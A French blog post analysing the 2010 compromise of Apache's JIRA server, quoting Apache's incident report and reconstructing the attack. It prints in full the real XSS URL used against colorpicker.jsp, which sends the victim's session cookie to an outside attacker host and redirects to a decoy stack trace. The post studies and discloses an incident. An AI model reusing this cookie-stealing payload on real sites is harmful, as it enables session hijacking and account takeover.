Compromission d'apache -Bis-

L'an dernier, apache s'était fait attaquer avec succès, via une clé SSH compromise, cf: http://exploitability.blogspot.com/2009/08/compromission-dapacheorg.html. Apache vient de publier un bulletin dans lequel ils expliquent s'être fait attaqués une nouvelle fois.
L'histoire est très bien racontée ici:
https://blogs.apache.org/infra/entry/apache_org_04_09_2010

Je salue la transparence de l'équipe d'Apache qui n'hésite pas à donner des détails sur la manière dont l'attaque a été rendue possible. Ceci donne d'ailleurs matière à bloguer.

Il est indiqué que les attaquants ont utilisé une attaque XSS via un lien tinyurl:
"The attack was crafted to steal the session cookie from the user logged-in to JIRA"
Mais ensuite:
"At the same time as the XSS attack, the attackers started a brute force attack against the JIRA login.jsp"
Et enfin:
"On April 6th, one of these methods was successful." Mais sans préciser laquelle. Dommage.

Une seconde remarque, dont je parlais déjà lors de la première compromission, concerne la manière dont ces admins se sont rendus compte que quelque chose ne tournait pas rond. Il est simplement indiqué:
"About 6 hours after they started resetting passwords, we noticed the attackers and began shutting down services"
Et à cet instant, nous sommes déjà 3 jours après l'attaque initiale... Que se serait il passé si le ou les attaquants étaient restés plus discrets?

A propos de l'attaque a proprement parler.
Il est fait mention:
"ive got this error while browsing some projects in jira http://tinyurl.com/XXXXXXXXX [obscured] "
Une recherche google permet de retrouver facilement le bon tinyurl, et quelques manipulations plus tard, nous obtenons le XSS:

https://issues.apache.org/jira/secure/popups/colorpicker.jsp?element=name;}catch%28e%29{}%0D%0A--%3E%3C/script%3E%3Cnoscript%3E%3Cmeta%20http-equiv=%22refresh%22%20content=%220;url=http://pastie.org/904699%22%3E%3C/noscript%3E%3Cscript%3Edocument.write%28%27%3Cimg%20src=%22http://teap.zzl.org/teap.php?data=%27%2bdocument.cookie%2b%27%22/%3E%27%29;window.location=%22http://pastie.org/904699%22;%3C/script%3E%3Cscript%3E%3C!--&defaultColor=%27;try{//

Intéressant. Pour faire bref, on appelle bien une URL http://pastie.org/904699 qui ressemble à une stack trace Java. Mais au milieu, on peut lire
img%20src=%22http://teap.zzl.org/teap.php?data=%27%2bdocument.cookie
Donc lors de l'appel à cette page, une requête img src est faite sur le domaine teap.zzl.or/teap.php avec en argument le document.cookie. Ceci corrobore tout à fait le compte rendu de la fondation apache. Mais je pense, sans avoir testé, que l'admin en cliquant sur le tinyurl tombe sur la page de pastie.org. Ceci n'éveille donc pas de doutes de l'admin: on lui parle d'une erreur java, il lit une stack trace java.
(Le site teap.zzl.org redirige aujourd'hui vers zymic, pour une page 404)

L'hébergeur, Atlassian a communiqué sur ces failles,
http://jira.atlassian.com/browse/JRA-20994 et http://jira.atlassian.com/browse/JRA-20995 mais à l'heure actuelle le site est en arrêt pour maintenance.